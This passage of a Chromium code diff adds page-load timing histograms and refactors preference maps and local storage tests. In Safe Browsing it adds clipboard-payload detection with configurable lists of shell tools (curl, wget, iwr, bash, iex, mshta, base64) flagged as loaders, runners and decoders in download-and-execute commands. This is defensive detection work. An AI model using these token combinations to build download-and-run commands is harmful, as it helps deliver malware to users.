     "PageLoad.DocumentTiming.NavigationToDOMContentLoadedEventFired";
 const char kBackgroundHistogramDomContentLoaded[] =
     "PageLoad.DocumentTiming.NavigationToDOMContentLoadedEventFired.Background";
+const char kHistogramParseStartToDOMContentLoaded[] =
+    "PageLoad.DocumentTiming.ParseStartToDOMContentLoadedEventFired";
 const char kHistogramLoad[] =
     "PageLoad.DocumentTiming.NavigationToLoadEventFired";
 const char kBackgroundHistogramLoad[] =
@@ -152,6 +154,8 @@
 const char kHistogramLargestContentfulPaintSetSpeculationRulesPrerender[] =
     "PageLoad.PaintTiming.NavigationToLargestContentfulPaint2."
     "SetSpeculationRulesPrerender";
+const char kHistogramParseStartToLargestContentfulPaint[] =
+    "PageLoad.PaintTiming.ParseStartToLargestContentfulPaint";
 const char kHistogramNumInteractions[] =
     "PageLoad.InteractiveTiming.NumInteractions";
 const char kHistogramUserInteractionLatencyHighPercentile2MaxEventDuration[] =
@@ -271,6 +275,9 @@
 const char kHistogramBackForwardCacheEvent[] =
     "PageLoad.BackForwardCache.Event";
 
+const char kHistogramNavigationCommitSentToParseStart[] =
+    "PageLoad.NavigationTiming.NavigationCommitSentToParseStart";
+
 // Navigation metrics for before-navigation phase.
 const char kHistogramInteractionToNavigationStart[] =
     "PageLoad.NavigationTiming.InteractionToNavigationStart";
@@ -399,19 +406,19 @@
           navigation_handle_timing_.user_interaction -
           navigation_handle_timing_.before_unload_dialog_duration;
       if (!duration.is_negative()) {
-        PAGE_LOAD_SUB_10MS_HISTOGRAM(
-            internal::kHistogramInteractionToNavigationStart, duration);
+        PAGE_LOAD_HISTOGRAM2(internal::kHistogramInteractionToNavigationStart,
+                             duration);
       }
     }
     if (std::optional<base::TimeDelta> actual_navigation_offset =
             CalculateActualNavigationOffset(GetDelegate(),
                                             navigation_handle_timing_)) {
-      PAGE_LOAD_SUB_10MS_HISTOGRAM(
+      PAGE_LOAD_HISTOGRAM2(
           internal::kHistogramActualNavigationStartToNavigationStart,
           *actual_navigation_offset);
 
       if (!navigation_handle_timing_.navigation_commit_sent_time.is_null()) {
-        PAGE_LOAD_SUB_10MS_HISTOGRAM(
+        PAGE_LOAD_HISTOGRAM2(
             internal::kHistogramActualNavigationStartToNavigationCommitSent,
             *actual_navigation_offset +
                 navigation_handle_timing_.navigation_commit_sent_time -
@@ -431,6 +438,17 @@
     PAGE_LOAD_HISTOGRAM(
         internal::kHistogramDomContentLoaded,
         timing.document_timing->dom_content_loaded_event_start.value());
+    if (timing.parse_timing && timing.parse_timing->parse_start &&
+        !timing.parse_timing->parse_start->is_negative() &&
+        !timing.document_timing->dom_content_loaded_event_start
+             ->is_negative() &&
+        timing.parse_timing->parse_start.value() <=
+            timing.document_timing->dom_content_loaded_event_start.value()) {
+      PAGE_LOAD_HISTOGRAM2(
+          internal::kHistogramParseStartToDOMContentLoaded,
+          timing.document_timing->dom_content_loaded_event_start.value() -
+              timing.parse_timing->parse_start.value());
+    }
   } else {
     PAGE_LOAD_HISTOGRAM(
         internal::kBackgroundHistogramDomContentLoaded,
@@ -497,7 +515,7 @@
     if (std::optional<base::TimeDelta> actual_navigation_offset =
             CalculateActualNavigationOffset(GetDelegate(),
                                             navigation_handle_timing_)) {
-      PAGE_LOAD_SUB_10MS_HISTOGRAM(
+      PAGE_LOAD_HISTOGRAM2(
           internal::kHistogramActualNavigationStartToFirstContentfulPaint,
           *actual_navigation_offset +
               timing.paint_timing->first_contentful_paint.value());
@@ -702,10 +720,21 @@
     if (std::optional<base::TimeDelta> actual_navigation_offset =
             CalculateActualNavigationOffset(GetDelegate(),
                                             navigation_handle_timing_)) {
-      PAGE_LOAD_SUB_10MS_HISTOGRAM(
+      PAGE_LOAD_HISTOGRAM2(
           internal::kHistogramActualNavigationStartToParseStart,
           *actual_navigation_offset + timing.parse_timing->parse_start.value());
     }
+    if (!navigation_handle_timing_.navigation_commit_sent_time.is_null() &&
+        !timing.parse_timing->parse_start->is_negative()) {
+      base::TimeDelta duration =
+          timing.parse_timing->parse_start.value() -
+          (navigation_handle_timing_.navigation_commit_sent_time -
+           GetDelegate().GetNavigationStart());
+      if (!duration.is_negative()) {
+        PAGE_LOAD_HISTOGRAM2(
+            internal::kHistogramNavigationCommitSentToParseStart, duration);
+      }
+    }
     switch (GetPageLoadType(transition_)) {
       case LOAD_TYPE_RELOAD:
         PAGE_LOAD_HISTOGRAM(internal::kHistogramLoadTypeParseStartReload,
@@ -1006,10 +1035,18 @@
       if (std::optional<base::TimeDelta> actual_navigation_offset =
               CalculateActualNavigationOffset(GetDelegate(),
                                               navigation_handle_timing_)) {
-        PAGE_LOAD_SUB_10MS_HISTOGRAM(
+        PAGE_LOAD_HISTOGRAM2(
             internal::kHistogramActualNavigationStartToLargestContentfulPaint,
             *actual_navigation_offset + lcp_time);
       }
+      if (main_frame_timing.parse_timing &&
+          main_frame_timing.parse_timing->parse_start &&
+          !main_frame_timing.parse_timing->parse_start->is_negative() &&
+          main_frame_timing.parse_timing->parse_start.value() <= lcp_time) {
+        PAGE_LOAD_HISTOGRAM2(
+            internal::kHistogramParseStartToLargestContentfulPaint,
+            lcp_time - main_frame_timing.parse_timing->parse_start.value());
+      }
 
       if (!GetDelegate().IsReloadAfterDiscard()) {
         PAGE_LOAD_HISTOGRAM(
diff --git a/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.h b/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.h
index f086dfd..c0f16a7 100644
--- a/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.h
+++ b/components/page_load_metrics/browser/observers/core/uma_page_load_metrics_observer.h
@@ -39,6 +39,7 @@
 extern const char kHistogramFirstPaint[];
 extern const char kHistogramFirstImagePaint[];
 extern const char kHistogramDomContentLoaded[];
+extern const char kHistogramParseStartToDOMContentLoaded[];
 extern const char kHistogramLoad[];
 extern const char kHistogramFirstContentfulPaint[];
 extern const char kHistogramLargestContentfulPaint[];
@@ -48,6 +49,7 @@
 extern const char kHistogramLargestContentfulPaintCrossSiteSubFrame[];
 extern const char
     kHistogramLargestContentfulPaintSetSpeculationRulesPrerender[];
+extern const char kHistogramParseStartToLargestContentfulPaint[];
 
 extern const char kBackgroundHistogramFirstContentfulPaint[];
 extern const char kBackgroundHistogramFirstImagePaint[];
@@ -89,6 +91,8 @@
 
 extern const char kHistogramBackForwardCacheEvent[];
 
+extern const char kHistogramNavigationCommitSentToParseStart[];
+
 extern const char kHistogramInteractionToNavigationStart[];
 extern const char kHistogramActualNavigationStartToNavigationStart[];
 
diff --git a/components/page_load_metrics/browser/page_load_metrics_util.h b/components/page_load_metrics/browser/page_load_metrics_util.h
index 47bcb01..9452fd55 100644
--- a/components/page_load_metrics/browser/page_load_metrics_util.h
+++ b/components/page_load_metrics/browser/page_load_metrics_util.h
@@ -25,8 +25,8 @@
 // 1 ms to 10 minutes, with 100 buckets.
 // Used for metrics where we want to avoid sub-10ms values being rounded
 // to zero (falling into the underflow bucket), which occurs in the
-// standard PAGE_LOAD_HISTOGRAM.
-#define PAGE_LOAD_SUB_10MS_HISTOGRAM(name, sample)                   \
+// PAGE_LOAD_HISTOGRAM.
+#define PAGE_LOAD_HISTOGRAM2(name, sample)                           \
   base::UmaHistogramCustomTimes(name, sample, base::Milliseconds(1), \
                                 base::Minutes(10), 100)
 
diff --git a/components/permissions/android/java/src/org/chromium/components/permissions/PermissionUtil.java b/components/permissions/android/java/src/org/chromium/components/permissions/PermissionUtil.java
index 14d5386..6e66b2c 100644
--- a/components/permissions/android/java/src/org/chromium/components/permissions/PermissionUtil.java
+++ b/components/permissions/android/java/src/org/chromium/components/permissions/PermissionUtil.java
@@ -12,6 +12,7 @@
 import org.jni_zero.CalledByNative;
 import org.jni_zero.NativeMethods;
 
+import org.chromium.base.metrics.RecordHistogram;
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.components.content_settings.ContentSetting;
 import org.chromium.components.content_settings.ContentSettingsType;
@@ -315,6 +316,8 @@
                         new AndroidPermissionRequester.RequestDelegate() {
                             @Override
                             public void onAndroidPermissionAccepted() {
+                                RecordHistogram.recordBooleanHistogram(
+                                        "Permissions.ClapperLoud.PageInfo.OsPromptResolved", true);
                                 PermissionUtilJni.get()
                                         .resolveNotificationsPermissionRequest(
                                                 webContents, ContentSetting.ALLOW);
@@ -323,6 +326,8 @@
 
                             @Override
                             public void onAndroidPermissionCanceled() {
+                                RecordHistogram.recordBooleanHistogram(
+                                        "Permissions.ClapperLoud.PageInfo.OsPromptResolved", false);
                                 PermissionUtilJni.get()
                                         .dismissNotificationsPermissionRequest(webContents);
                                 onResolved.run();
diff --git a/components/policy/resources/templates/policy_definitions/PowerManagement/DevicePowerAdaptiveChargingEnabled.yaml b/components/policy/resources/templates/policy_definitions/PowerManagement/DevicePowerAdaptiveChargingEnabled.yaml
index 30db2a88..6febf626 100644
--- a/components/policy/resources/templates/policy_definitions/PowerManagement/DevicePowerAdaptiveChargingEnabled.yaml
+++ b/components/policy/resources/templates/policy_definitions/PowerManagement/DevicePowerAdaptiveChargingEnabled.yaml
@@ -2,7 +2,6 @@
   life
 deprecated: true
 default: true
-default_for_enterprise_users: false
 desc: |-
   Specifies whether an adaptive charging model is allowed to hold charging process to extend battery life.
 
diff --git a/components/policy/resources/webui/logs/policy_logs.html b/components/policy/resources/webui/logs/policy_logs.html
index 59abf606..f06ce1d57 100644
--- a/components/policy/resources/webui/logs/policy_logs.html
+++ b/components/policy/resources/webui/logs/policy_logs.html
@@ -97,6 +97,7 @@
       color: var(--google-grey-700);
       padding-right: 1ch;
       text-align: right;
+      white-space: nowrap;
     }
 
     @media (prefers-color-scheme: dark) {
@@ -106,18 +107,6 @@
       }
     }
 
-    .timestamp {
-      width: 24ch;
-    }
-
-    .severity {
-      width: 7ch;
-    }
-
-    .file-and-line {
-      white-space: nowrap;
-    }
-
     .file {
       display: inline-block;
       max-width: 35ch;
diff --git a/components/prefs/pref_change_registrar.cc b/components/prefs/pref_change_registrar.cc
index 20863167..c032d4b 100644
--- a/components/prefs/pref_change_registrar.cc
+++ b/components/prefs/pref_change_registrar.cc
@@ -63,7 +63,7 @@
       << "Already had pref, \"" << path << "\", registered.";
 
   service_->AddPrefObserver(path, this);
-  observers_.insert_or_assign(std::string(path), std::move(obs));
+  observers_.insert_or_assign(path, std::move(obs));
 }
 
 void PrefChangeRegistrar::AddMultiple(
@@ -77,9 +77,7 @@
 void PrefChangeRegistrar::Remove(std::string_view path) {
   DCHECK(IsObserved(path));
 
-  // Use std::map::erase directly once C++23 is supported.
-  auto it = observers_.find(path);
-  observers_.erase(it);
+  observers_.erase(path);
   service_->RemovePrefObserver(path, this);
 }
 
@@ -96,7 +94,7 @@
 }
 
 bool PrefChangeRegistrar::IsObserved(std::string_view pref) {
-  return observers_.find(pref) != observers_.end();
+  return observers_.contains(pref);
 }
 
 void PrefChangeRegistrar::OnServiceDestroyed(PrefService* service) {
diff --git a/components/prefs/pref_change_registrar.h b/components/prefs/pref_change_registrar.h
index ff824ae..40aebc63 100644
--- a/components/prefs/pref_change_registrar.h
+++ b/components/prefs/pref_change_registrar.h
@@ -14,7 +14,7 @@
 #include "base/memory/raw_ptr.h"
 #include "components/prefs/pref_observer.h"
 #include "components/prefs/prefs_export.h"
-#include "components/prefs/transparent_unordered_string_map.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 
 class PrefService;
 
@@ -81,7 +81,8 @@
   void OnPreferenceChanged(PrefService* service,
                            std::string_view pref_name) final;
 
-  using ObserverMap = TransparentUnorderedStringMap<NamedChangeAsViewCallback>;
+  using ObserverMap =
+      absl::flat_hash_map<std::string, NamedChangeAsViewCallback>;
 
   ObserverMap observers_;
   raw_ptr<PrefService, AcrossTasksDanglingUntriaged> service_;
diff --git a/components/prefs/pref_registry.cc b/components/prefs/pref_registry.cc
index ec29101..e64137f 100644
--- a/components/prefs/pref_registry.cc
+++ b/components/prefs/pref_registry.cc
@@ -64,17 +64,17 @@
       << "invalid preference type: " << orig_type;
   DCHECK(!defaults_->GetValue(path, nullptr))
       << "Trying to register a previously registered pref: " << path;
-  DCHECK(!registration_flags_.contains(std::string(path)))
+  DCHECK(!registration_flags_.contains(path))
       << "Trying to register a previously registered pref: " << path;
-  DCHECK(!registration_types_.contains(std::string(path)))
+  DCHECK(!registration_types_.contains(path))
       << "Trying to register a previously registered pref: " << path;
 
   defaults_->SetDefaultValue(path, std::move(default_value));
   if (flags != NO_REGISTRATION_FLAGS) {
-    registration_flags_.insert_or_assign(std::string(path), flags);
+    registration_flags_.insert_or_assign(path, flags);
   }
 
-  registration_types_.insert_or_assign(std::string(path), type);
+  registration_types_.insert_or_assign(path, type);
 
   OnPrefRegistered(path, flags);
 }
diff --git a/components/prefs/pref_registry.h b/components/prefs/pref_registry.h
index 0cd5afdb..3ebc5356 100644
--- a/components/prefs/pref_registry.h
+++ b/components/prefs/pref_registry.h
@@ -9,12 +9,11 @@
 
 #include <string>
 #include <string_view>
-#include <unordered_map>
 
 #include "base/memory/ref_counted.h"
 #include "components/prefs/pref_value_map.h"
 #include "components/prefs/prefs_export.h"
-#include "components/prefs/transparent_unordered_string_map.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 
 namespace base {
 class Value;
@@ -65,7 +64,7 @@
   };
 
   using const_iterator = PrefValueMap::const_iterator;
-  using PrefRegistrationFlagsMap = TransparentUnorderedStringMap<uint32_t>;
+  using PrefRegistrationFlagsMap = absl::flat_hash_map<std::string, uint32_t>;
 
   PrefRegistry();
 
@@ -121,7 +120,7 @@
 
   // A map of pref name to its registered type.
   using PrefRegistrationTypeMap =
-      TransparentUnorderedStringMap<RegisteredPrefType>;
+      absl::flat_hash_map<std::string, RegisteredPrefType>;
   PrefRegistrationTypeMap registration_types_;
 };
 
diff --git a/components/safe_browsing/content/browser/DEPS b/components/safe_browsing/content/browser/DEPS
index 27cfdfe..afe66974 100644
--- a/components/safe_browsing/content/browser/DEPS
+++ b/components/safe_browsing/content/browser/DEPS
@@ -17,6 +17,7 @@
   "+components/sessions/content",
   "+components/sessions/core/session_id.h",
   "+components/site_engagement/content",
+  "+components/url_formatter",
   "+components/version_info",
   "+components/zoom",
   "+content/public/browser",
diff --git a/components/safe_browsing/content/browser/client_side_detection_host.cc b/components/safe_browsing/content/browser/client_side_detection_host.cc
index 66023fc..0a90310 100644
--- a/components/safe_browsing/content/browser/client_side_detection_host.cc
+++ b/components/safe_browsing/content/browser/client_side_detection_host.cc
@@ -11,7 +11,7 @@
 
 #include "base/check_op.h"
 #include "base/command_line.h"
-#include "base/containers/fixed_flat_set.h"
+#include "base/containers/flat_set.h"
 #include "base/containers/span.h"
 #include "base/files/file_path.h"
 #include "base/functional/bind.h"
@@ -54,6 +54,7 @@
 #include "components/safe_browsing/core/common/safe_browsing_prefs.h"
 #include "components/safe_browsing/core/common/safebrowsing_switches.h"
 #include "components/security_interstitials/core/unsafe_resource_locator.h"
+#include "components/url_formatter/url_fixer.h"
 #include "components/zoom/zoom_controller.h"
 #include "content/public/browser/browser_context.h"
 #include "content/public/browser/browser_task_traits.h"
@@ -68,6 +69,7 @@
 #include "content/public/common/url_constants.h"
 #include "mojo/public/cpp/base/proto_wrapper.h"
 #include "net/base/ip_endpoint.h"
+#include "net/base/registry_controlled_domains/registry_controlled_domain.h"
 #include "net/http/http_response_headers.h"
 #include "services/network/public/mojom/url_response_head.mojom.h"
 #include "services/service_manager/public/cpp/interface_provider.h"
@@ -100,36 +102,6 @@
 // Threshold value used to skip the intelligent scan.
 const int kInnerTextMinThresholdBytes = 5;
 
-// Set of suspicious tokens that could be used to construct a malicious command.
-// The explanation and rationale behind this list can be found internally at
-// go/sus-commands.
-constexpr auto kSusCommands = base::MakeFixedFlatSet<std::string_view>({
-    // go/keep-sorted start
-    "bash",
-    "bitsadmin",
-    "certutil",
-    "cmd",
-    "conhost",
-    "curl",
-    "iex",
-    "invoke-expression",
-    "invoke-restmethod",
-    "invoke-webrequest",
-    "irm",
-    "iwr",
-    "mshta",
-    "perl",
-    "php",
-    "powershell",
-    "python",
-    "python3",
-    "sftp",
-    "ssh",
-    "wget",
-    "wt",
-    // go/keep-sorted end
-});
-
 // Normalizes a potential command to account for capitalization, pathing, and
 // file extensions.
 std::string NormalizeToken(std::u16string_view token) {
@@ -138,6 +110,21 @@
   return base::ToLowerASCII(filename);
 }
 
+bool IsPossibleURL(std::string token) {
+  GURL url = url_formatter::FixupURL(token, "");
+  if (!url.is_valid()) {
+    return false;
+  }
+
+  bool has_real_domain =
+      !net::registry_controlled_domains::GetDomainAndRegistry(
+           url, net::registry_controlled_domains::INCLUDE_PRIVATE_REGISTRIES)
+           .empty();
+  bool is_ip = url.HostIsIPAddress();
+
+  return has_real_domain || is_ip;
+}
+
 void WriteFeaturesToDisk(const ClientPhishingRequest& features,
                          const base::FilePath& base_path) {
   base::FilePath path =
@@ -2025,9 +2012,29 @@
     const std::u16string& payload) {
   ClipboardExtractedData clipboard_data;
   base::TimeTicks start_time = base::TimeTicks::Now();
+
+  bool has_loader = false;
+  bool has_endpoint = false;
+  bool has_runner = false;
+
+  std::u16string processed_payload = payload;
+  // Check for subcommand syntax before tokenizing, as they count as runners.
+  if (processed_payload.find(u"$(") != std::u16string::npos ||
+      processed_payload.find(u")") != std::u16string::npos ||
+      processed_payload.find(u"`") != std::u16string::npos) {
+    has_runner = true;
+  }
+
+  // Replace shell delimiters with space to simplify tokenization.
+  std::vector<std::u16string> delimiters = {u"&&", u"||", u"$(", u"|",
+                                            u";",  u")",  u"`"};
+  for (const auto& delimiter : delimiters) {
+    base::ReplaceSubstringsAfterOffset(&processed_payload, 0, delimiter, u" ");
+  }
+
   std::vector<std::u16string> tokens =
-      base::SplitString(payload, u" \t\n\r;",
-                        base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
+      base::SplitString(processed_payload, u" \t\n\r", base::TRIM_WHITESPACE,
+                        base::SPLIT_WANT_NONEMPTY);
 
   base::UmaHistogramMediumTimes(
       "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.SplitStringDuration",
@@ -2040,9 +2047,46 @@
     return clipboard_data;
   }
 
+  // Fetch the suspicious tokens that could be used to construct a malicious
+  // command. The explanation and rationale behind these lists can be found
+  // internally at go/sus-commands.
+  const base::flat_set<std::string> loaders =
+      base::SplitString(kCsdClipboardCopyApiLoaders.Get(), ",",
+                        base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
+  const base::flat_set<std::string> runners =
+      base::SplitString(kCsdClipboardCopyApiRunners.Get(), ",",
+                        base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
+  const base::flat_set<std::string> remote_runners =
+      base::SplitString(kCsdClipboardCopyApiRemoteRunners.Get(), ",",
+                        base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
+  const base::flat_set<std::string> decoders =
+      base::SplitString(kCsdClipboardCopyApiDecoders.Get(), ",",
+                        base::TRIM_WHITESPACE, base::SPLIT_WANT_NONEMPTY);
+
   for (size_t i = 0; i < tokens.size(); ++i) {
     const std::string& normalized_token = NormalizeToken(tokens[i]);
-    if (kSusCommands.contains(normalized_token)) {
+    bool is_suspicious = false;
+
+    if (decoders.contains(normalized_token)) {
+      has_loader = true;
+      has_endpoint = true;
+      is_suspicious = true;
+    }
+    if (remote_runners.contains(normalized_token)) {
+      has_loader = true;
+      has_runner = true;
+      is_suspicious = true;
+    }
+    if (loaders.contains(normalized_token)) {
+      has_loader = true;
+      is_suspicious = true;
+    }
+    if (runners.contains(normalized_token)) {
+      has_runner = true;
+      is_suspicious = true;
+    }
+
+    if (is_suspicious) {
       clipboard_data.add_suspicious_tokens(normalized_token);
       if (i == 0) {
         clipboard_data.set_is_first_token_suspicious(true);
@@ -2051,6 +2095,11 @@
         clipboard_data.set_is_last_token_suspicious(true);
       }
     }
+
+    if (IsPossibleURL(base::UTF16ToUTF8(tokens[i]))) {
+      has_endpoint = true;
+      clipboard_data.add_urls(normalized_token);
+    }
   }
 
   base::UmaHistogramCounts100(
@@ -2058,13 +2107,29 @@
       "SuspiciousTokenCount",
       clipboard_data.suspicious_tokens_size());
 
-  return clipboard_data;
-}
+  clipboard_data.set_payload_length(payload.length());
+  clipboard_data.set_total_parsed_tokens(tokens.size());
 
-std::vector<std::string_view>
-ClientSideDetectionHost::GetSuspiciousTokensListForTesting() {
-  return std::vector<std::string_view>(kSusCommands.begin(),
-                                       kSusCommands.end());
+  // If the payload has a token to download a script, an endpoint to download
+  // from, and a token to execute commands, it's overall suspicious.
+  bool is_overall_suspicious = has_loader && has_endpoint && has_runner;
+  base::UmaHistogramBoolean(
+      "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.IsOverallSuspicious",
+      is_overall_suspicious);
+  if (is_overall_suspicious) {
+    clipboard_data.set_is_overall_suspicious(true);
+    base::UmaHistogramCounts100(
+        "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.UrlCount",
+        clipboard_data.urls_size());
+  } else {
+    // Otherwise, clear out any URL reporting.
+    clipboard_data.clear_urls();
+  }
+
+  base::UmaHistogramMediumTimes(
+      "SBClientPhishing.ClipboardCopyApi.PayloadExtraction.ProcessingDuration",
+      base::TimeTicks::Now() - start_time);
+  return clipboard_data;
 }
 
 void ClientSideDetectionHost::OnGotAccessToken(
diff --git a/components/safe_browsing/content/browser/client_side_detection_host.h b/components/safe_browsing/content/browser/client_side_detection_host.h
index 507f61b..23c820c 100644
--- a/components/safe_browsing/content/browser/client_side_detection_host.h
+++ b/components/safe_browsing/content/browser/client_side_detection_host.h
@@ -275,12 +275,10 @@
   FRIEND_TEST_ALL_PREFIXES(
       ClientSideDetectionHostCreditCardFormTest,
       EventDoesNotTriggerPreclassificationChecksWhenESBDisabled);
-  FRIEND_TEST_ALL_PREFIXES(
-      ClientSideDetectionHostCreditCardFormTest,
-      DoesNotStartPreclassificationOnRepeatSiteVisit);
-  FRIEND_TEST_ALL_PREFIXES(
-      ClientSideDetectionHostCreditCardFormTest,
-      DoesNotStartPreclassificationOnServerHeuristic);
+  FRIEND_TEST_ALL_PREFIXES(ClientSideDetectionHostCreditCardFormTest,
+                           DoesNotStartPreclassificationOnRepeatSiteVisit);
+  FRIEND_TEST_ALL_PREFIXES(ClientSideDetectionHostCreditCardFormTest,
+                           DoesNotStartPreclassificationOnServerHeuristic);
   FRIEND_TEST_ALL_PREFIXES(
       ClientSideDetectionHostCreditCardFormReferringAppTest,
       DoesNotStartPreclassificationBecauseOfReferringAppFilter);
@@ -303,8 +301,6 @@
   // and the payload parsing does not involve complex grammar.
   ClipboardExtractedData ExtractClipboardData(const std::u16string& payload);
 
-  std::vector<std::string_view> GetSuspiciousTokensListForTesting();
-
   // Helper function to create preclassification check once requirements are
   // met.
   void MaybeStartPreClassification(ClientSideDetectionType request_type);
diff --git a/components/safe_browsing/core/common/features.cc b/components/safe_browsing/core/common/features.cc
index 7dba2248f..aa799e6 100644
--- a/components/safe_browsing/core/common/features.cc
+++ b/components/safe_browsing/core/common/features.cc
@@ -77,6 +77,19 @@
 const base::FeatureParam<bool> kCSDClipboardCopyApiProcessPayload{
     &kClientSideDetectionClipboardCopyApi, "ProcessPayload",
     /*default_value=*/false};
+const base::FeatureParam<std::string> kCsdClipboardCopyApiLoaders{
+    &kClientSideDetectionClipboardCopyApi, "Loaders",
+    /*default_value=*/"curl,wget,invoke-webrequest,iwr"};
+const base::FeatureParam<std::string> kCsdClipboardCopyApiRunners{
+    &kClientSideDetectionClipboardCopyApi, "Runners",
+    /*default_value=*/
+    "bash,cmd,conhost,iex,invoke-expression,zsh"};
+const base::FeatureParam<std::string> kCsdClipboardCopyApiRemoteRunners{
+    &kClientSideDetectionClipboardCopyApi, "RemoteRunners",
+    /*default_value=*/"mshta"};
+const base::FeatureParam<std::string> kCsdClipboardCopyApiDecoders{
+    &kClientSideDetectionClipboardCopyApi, "Decoders",
+    /*default_value=*/"base32,base64"};
 
 BASE_FEATURE(kClientSideDetectionCreditCardForm,
              base::FEATURE_DISABLED_BY_DEFAULT);
diff --git a/components/safe_browsing/core/common/features.h b/components/safe_browsing/core/common/features.h
index a0b789e..620de8e 100644
--- a/components/safe_browsing/core/common/features.h
+++ b/components/safe_browsing/core/common/features.h
@@ -66,6 +66,10 @@
 extern const base::FeatureParam<int> kCsdClipboardCopyApiMinLength;
 extern const base::FeatureParam<double> kCsdClipboardCopyApiSampleRate;
 extern const base::FeatureParam<bool> kCSDClipboardCopyApiProcessPayload;
+extern const base::FeatureParam<std::string> kCsdClipboardCopyApiLoaders;
+extern const base::FeatureParam<std::string> kCsdClipboardCopyApiRunners;
+extern const base::FeatureParam<std::string> kCsdClipboardCopyApiRemoteRunners;
+extern const base::FeatureParam<std::string> kCsdClipboardCopyApiDecoders;
 
 // Enables sending a CSD ping on the detection of a credit card form.
 BASE_DECLARE_FEATURE(kClientSideDetectionCreditCardForm);
diff --git a/components/safe_browsing/core/common/proto/csd.proto b/components/safe_browsing/core/common/proto/csd.proto
index 3cacb16..dbd4505 100644
--- a/components/safe_browsing/core/common/proto/csd.proto
+++ b/components/safe_browsing/core/common/proto/csd.proto
@@ -374,6 +374,10 @@
   repeated string suspicious_tokens = 1;
   optional bool is_first_token_suspicious = 2;
   optional bool is_last_token_suspicious = 3;
+  optional int32 payload_length = 4;
+  optional int32 total_parsed_tokens = 5;
+  repeated string urls = 6;
+  optional bool is_overall_suspicious = 7;
 }
 
 // Verdict based on IntelligentScanInfo included in ClientPhishingRequest
diff --git a/components/services/storage/dom_storage/local_storage_impl_unittest.cc b/components/services/storage/dom_storage/local_storage_impl_unittest.cc
index 371b3a0a..edc1cd9 100644
--- a/components/services/storage/dom_storage/local_storage_impl_unittest.cc
+++ b/components/services/storage/dom_storage/local_storage_impl_unittest.cc
@@ -7,7 +7,6 @@
 #include <string_view>
 #include <tuple>
 
-#include "base/containers/span.h"
 #include "base/files/file_enumerator.h"
 #include "base/files/file_util.h"
 #include "base/files/scoped_temp_dir.h"
@@ -15,9 +14,7 @@
 #include "base/functional/callback_helpers.h"
 #include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
-#include "base/strings/utf_string_conversions.h"
 #include "base/task/sequenced_task_runner.h"
-#include "base/task/single_thread_task_runner.h"
 #include "base/test/bind.h"
 #include "base/test/gmock_expected_support.h"
 #include "base/test/metrics/histogram_tester.h"
@@ -26,10 +23,10 @@
 #include "base/test/task_environment.h"
 #include "base/test/test_future.h"
 #include "build/build_config.h"
+#include "components/services/storage/dom_storage/features.h"
 #include "components/services/storage/dom_storage/test_support/dom_storage_database_testing.h"
 #include "components/services/storage/dom_storage/test_support/storage_area_test_util.h"
 #include "components/services/storage/public/cpp/constants.h"
-#include "components/services/storage/public/cpp/filesystem/filesystem_proxy.h"
 #include "components/services/storage/public/mojom/storage_service.mojom.h"
 #include "components/services/storage/public/mojom/storage_usage_info.mojom.h"
 #include "mojo/public/cpp/bindings/remote.h"
@@ -116,14 +113,22 @@
 
 }  // namespace
 
-class LocalStorageImplTest : public testing::Test {
+// Base test fixture for `LocalStorageImpl` tests. Provides common setup
+// including database initialization, storage area binding, and helper methods
+// for reading/writing map entries and metadata. Subclasses can parameterize
+// tests to run on SQLite or LevelDB using `is_sqlite_enabled` when constructing
+// `LocalStorageImplTestBase`.
+class LocalStorageImplTestBase : public testing::Test {
  public:
-  LocalStorageImplTest() { EXPECT_TRUE(temp_path_.CreateUniqueTempDir()); }
+  explicit LocalStorageImplTestBase(bool is_sqlite_enabled) {
+    feature_list_.InitWithFeatureState(kDomStorageSqlite, is_sqlite_enabled);
+    EXPECT_TRUE(temp_path_.CreateUniqueTempDir());
+  }
 
-  LocalStorageImplTest(const LocalStorageImplTest&) = delete;
-  LocalStorageImplTest& operator=(const LocalStorageImplTest&) = delete;
+  LocalStorageImplTestBase(const LocalStorageImplTestBase&) = delete;
+  LocalStorageImplTestBase& operator=(const LocalStorageImplTestBase&) = delete;
 
-  ~LocalStorageImplTest() override {
+  ~LocalStorageImplTestBase() override {
     ShutDownStorage();
     EXPECT_TRUE(temp_path_.Delete());
   }
@@ -294,13 +299,6 @@
     return false;
   }
 
-  base::FilePath FirstEntryInDir() {
-    base::FileEnumerator enumerator(
-        storage_path(), false /* recursive */,
-        base::FileEnumerator::FILES | base::FileEnumerator::DIRECTORIES);
-    return enumerator.Next();
-  }
-
   // Verifies a storage key's map in the database contains `expected_entries`.
   void ExpectMapEquals(blink::StorageKey storage_key,
                        std::map<DomStorageDatabase::Key,
@@ -385,13 +383,36 @@
     RunUntilIdle();
   }
 
+  // Enables or disables SQLite.
+  base::test::ScopedFeatureList feature_list_;
+
   base::test::TaskEnvironment task_environment_;
   base::ScopedTempDir temp_path_;
 
   std::unique_ptr<LocalStorageImpl> storage_;
 };
 
-TEST_F(LocalStorageImplTest, Basic) {
+class LocalStorageImplTest
+    : public testing::WithParamInterface</*is_sqlite_enabled=*/bool>,
+      public LocalStorageImplTestBase {
+ public:
+  LocalStorageImplTest()
+      : LocalStorageImplTestBase(/*is_sqlite_enabled=*/GetParam()) {}
+  ~LocalStorageImplTest() override = default;
+
+  bool IsSqliteEnabled() const { return GetParam(); }
+};
+
+INSTANTIATE_TEST_SUITE_P(
+    /*no prefix*/,
+    LocalStorageImplTest,
+    testing::Bool(),
+    /*name_generator=*/
+    [](const testing::TestParamInfo<LocalStorageImplTest::ParamType>& info) {
+      return info.param ? "SQLite" : "LevelDB";
+    });
+
+TEST_P(LocalStorageImplTest, Basic) {
   blink::StorageKey storage_key =
       blink::StorageKey::CreateFromStringForTesting("http://foobar.com");
   auto key = StdStringToUint8Vector("key");
@@ -415,7 +436,7 @@
